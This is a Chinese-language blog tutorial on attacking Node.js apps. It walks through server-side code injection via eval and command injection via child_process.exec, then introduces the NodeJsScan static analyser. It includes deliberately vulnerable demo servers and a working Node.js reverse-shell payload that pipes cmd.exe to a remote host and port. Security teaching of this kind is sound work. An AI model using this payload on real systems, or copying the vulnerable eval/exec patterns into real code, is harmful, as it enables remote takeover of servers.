博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
从零开始学习渗透Node.js应用程序
阅读量:6948 次
发布时间:2019-06-27

本文共 3994 字,大约阅读时间需要 13 分钟。

本文来源于,未经许可严禁转载。

0x01 介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。Node.js使用Module模块去划分不同的功能,以简化应用的开发。Modules模块有点像C++语言中的类库。每一个Node.js的类库都包含了十分丰富的各类函数,比如http模块就包含了和http功能相关的很多函数,可以帮助开发者很容易地对比如http,tcp/udp等进行操作,还可以很容易的创建http和tcp/udp的服务器。
0x02 Node.js安装配置
这里我主要给大家演示在Windows Sever 2008 R2 x64系统上安装Node.js的方法。
官网: 下载软件。
下载完成后运行,然后一直Next就好了。
 
最后点击Finish。
检查环境变量:
 
我们可以看到环境变量中已经包含了
C:\Program Files\nodejs\
牛刀小试:创建第一个Node.js应用
我们使用PHP来开发web服务时,需要Apache这样的Web容器。不过对Node.js 来说,概念完全不一样了。使用 Node.js 时,我们不仅仅在实现一个应用,同时还实现了整个 HTTP 服务器。事实上,我们的 Web 应用以及对应的 Web 服务器基本上是一样的。
我们以创建一个输出hello world的Node.js应用为例子。
在Node.js中,我们以require指令来载入模块,既然我们要创建HTTP服务器,所以我们要来载入模块HTTP:

var http = require("http");然后我们使用http模块的createServer()方法来创建服务器:var http = require('http'); http.createServer(function (request, response) { // 发送 HTTP 头部 // HTTP 状态值: 200 : OK // 内容类型: text/plain response.writeHead(200, { 'Content-Type': 'text/plain'}); // 发送响应数据 "Hello World" response.end('Hello World\n'); }).listen(80); // 终端打印如下信息 console.log('Server running at [url]http://127.0.0.1/'[/url]);

命令运行脚本:
然后我们在另一台机器上访问看看,注意关闭防火墙:
 

0x02 服务端代码注入

Node.js的代码注入与PHP代码注入差不多,同样是围绕着eval函数,所以,如果在你的代码中存在eval函数,而且其中的参数是可控的话,那你就危险了。代码注入漏洞的危害很大,可以直接获得一个Shell。
demo代码:

var http = require('http');var url = require('url'); var util = require('util'); http.createServer(function (req, res) { res.writeHead(200, { 'Content-Type': 'text/html'}) var params = url.parse(req.url, true).query; res.write("
Test"); var a = params.a; var b = params.b; var s =a + b; res.write("结果:" + a + "+" + b +"=" + s); res.write(""); res.end(); }).listen(80); // 终端打印如下信息 console.log('Server running at [url]http://127.0.0.1/'[/url]);

这个代码就是计算输入的两个数之和,但是两个变量的类型都是字符串,所以相加的结果是字符串连接:
 
这里就想着用eval函数转换输入的参数类型。
最终demo代码:

var http = require('http');var url = require('url'); var util = require('util'); http.createServer(function (req, res) { res.writeHead(200, { 'Content-Type': 'text/html'}) var params = url.parse(req.url, true).query; res.write("
Test"); var a = eval(params.a); var b = eval(params.b); var s =a + b; res.write("结果:" + a + "+" + b +"=" + s); res.write(""); res.end(); }).listen(80); // 终端打印如下信息 console.log('Server running at [url]http://127.0.0.1/'[/url]);

然后得到的结果就是两数之和了:
 
但是因为使用了eval函数也就导致了代码注入,我们可以构建一个反弹shell执行。
反弹shell代码:

function tan(){    var net = require("net"),        cp = require("child_process"),        cmd = cp.spawn("cmd.exe", []); var client = new net.Socket(); client.connect(3434, "192.168.146.129", function(){ client.pipe(cmd.stdin); cmd.stdout.pipe(client); cmd.stderr.pipe(client); }); return 1; }tan();

我们先使用nc来监听本地端口3434:
 
然后在web端利用漏洞进行代码注入:
 
然后成功反弹shell:
 
0x03 系统命令执行
在Node.js中,系统命令执行漏洞一般由模块 child_process 的函数引起的,child_process即子进程可以创建一个系统子进程并执行shell命令。
demo-创建一个ping工具:

var http = require('http');var url = require('url'); var util = require('util'); var child_process = require('child_process'); var iconv = require('iconv-lite'); var encoding = 'cp936'; var binaryEncoding = 'binary'; http.createServer(function (req, res) { res.writeHead(200, { 'Content-Type': 'text/html'}) var params = url.parse(req.url, true).query; res.write("
Test"); child_process.exec('ping '+params.ip, { encoding: binaryEncoding }, function(err, stdout, stderr){ res.write(iconv.decode(new Buffer(stdout, binaryEncoding), encoding), iconv.decode(new Buffer(stderr, binaryEncoding), encoding)); }); res.write(""); }).listen(80); // 终端打印如下信息 console.log('Server running at [url]http://127.0.0.1/'[/url]);

演示:
 
命令注入:
 
0x04 NodeJsScan
NodeJsScan是 Ajin Abraham 开发的一款静态代码分析工具。它使用了大量的正则表达式规则来扫描可能的漏洞代码和不安全的配置,同时允许用户扩展自己的功能。
项目地址:
此工具是基于python开发的,首先我们需要安装一下所需模块
pip install -r requirements.txt
所需模块都在工具主目录下的requirements.txt中:
注意本工具需要postgresql数据库,所以我们还需要下载安装postgresql数据库。
创建数据库:
python createdb.py
数据库设置在core/settings.py文件中
运行
python app.py
然后在打开,注意要设置DEBUG = True
 
0x05 总结
大部分的漏洞都是源于不安全的用户输入。所以,要坚持一切用户输入都是有害的法则,针对用户的一切输入进行过滤。确保使用了合适的中间件来避免不可信的流程。

你可能感兴趣的文章
LeetCode手记-Add Binary
查看>>
对DNSPOD添加域名解析的一些见解
查看>>
vim添加删除多行注释
查看>>
在caffe中增加和convolution相同的层
查看>>
Java设计模式(四) 装饰 代理模式
查看>>
Filter过滤非法字符
查看>>
嵌入式系统烧写uboot/bootloader/kernel的一般方法
查看>>
PyCharm4注册码--软件安装
查看>>
【转】物业管理与移动互联网科技|微信公众平台,物业app,物业O2O
查看>>
patch与diff的恩怨
查看>>
蓝桥杯——先进的多说好树遍历
查看>>
Hdu 5444 Elven Postman dfs
查看>>
Nagios显示器MySQL一个错误:NRPE: Unable to read output具体的解决过程
查看>>
精讲母函数
查看>>
读取数据库中timestamp类型去掉毫秒
查看>>
(四)左右ng-app自己主动bootstrap相框
查看>>
九度OJ 1068 球半径和数量 (模拟)
查看>>
了解如何高速嵌入式?
查看>>
HDU4960Another OCD Patient(间隙dp,后座DP)
查看>>
Spark on Yarn遇到的问题及解决思路
查看>>